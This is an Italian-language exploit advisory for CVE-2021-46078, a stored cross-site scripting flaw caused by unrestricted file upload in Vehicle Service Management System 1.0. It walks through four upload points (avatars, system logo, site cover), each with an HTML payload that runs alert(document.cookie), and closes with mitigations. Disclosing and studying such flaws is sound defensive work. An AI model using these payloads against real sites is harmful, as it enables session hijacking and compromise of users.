CVE-2021-46078
Titolo dell'Exploit: Sistema di Gestione dei Servizi dei Veicoli - Caricamento di più file porta a Cross-Site Scripting Memorizzato
Autore dell'Exploit: SANU P.L
CVE: CVE-2021-46078
CVSS: 4.8 MEDIUM
Riferimenti:
Descrizione:
Esiste una vulnerabilità di Caricamento File senza Restrizioni in Sourcecodester Vehicle Service Management System 1.0. Un attaccante remoto può caricare file malevoli, portando a una vulnerabilità di Cross-Site Scripting Memorizzato.
1. Sistema di Gestione dei Servizi dei Veicoli - 'Il Mio Account' (/admin/?page=user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Naviga verso la sezione Il Mio Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salva il codice html sopra come, ad esempio: XSS.html
- Nella sezione Il Mio Account inserisci tutti i dettagli richiesti e carica il file html in Avatar.
- Clicca sul pulsante Aggiorna.
- Apri l'immagine dell'avatar in una nuova scheda.
- Codice javascript malevolo attivato.
2. Sistema di Gestione dei Servizi dei Veicoli - 'Elenco Utenti' (/admin/?page=user/manage_user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Naviga verso la sezione Elenco Utenti e clicca sul pulsante Crea Nuovo.
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salva il codice html sopra come, ad esempio: XSS.html
- Nella pagina Crea Nuovo Utente inserisci tutti i dettagli richiesti e carica il file html in Avatar.
- Clicca sul pulsante Salva.
- Apri l'immagine dell'avatar in una nuova scheda.
- Codice javascript malevolo attivato.
3. Sistema di Gestione dei Servizi dei Veicoli - 'Impostazioni-Logo del Sistema' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Naviga verso la sezione Impostazioni http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salva il codice html sopra come, ad esempio: XSS.html
- Nella sezione Impostazioni inserisci tutti i dettagli richiesti e carica il file html in Logo del Sistema.
- Clicca sul pulsante Aggiorna.
- Apri l'immagine del Logo del Sistema in una nuova scheda.
- Codice javascript malevolo attivato.
4. Sistema di Gestione dei Servizi dei Veicoli - 'Impostazioni-Copertina del Sito' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Naviga verso la sezione Impostazioni http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salva il codice html sopra come, ad esempio: XSS.html
- Nella sezione Impostazioni inserisci tutti i dettagli richiesti e carica il file html in Copertina del Sito.
- Clicca sul pulsante Aggiorna.
- Apri l'immagine della Copertina del Sito in una nuova scheda.
- Codice javascript malevolo attivato.
Impatto:
Un attaccante può caricare file malevoli in più endpoint, portando a Cross-Site Scripting Memorizzato.
Mitigazione:
Si consiglia di implementare quanto segue:
- Non accettare mai un nome file e la sua estensione direttamente senza un filtro di whitelist.
- Se non è necessario avere caratteri Unicode, è altamente consigliato accettare solo caratteri alfanumerici e un solo punto come input per il nome file e l'estensione.
- Limitare la dimensione del file a un valore massimo per prevenire attacchi denial of service.
- La directory di upload non deve avere alcun permesso di "esecuzione".
- Non affidarsi solo alla convalida lato client.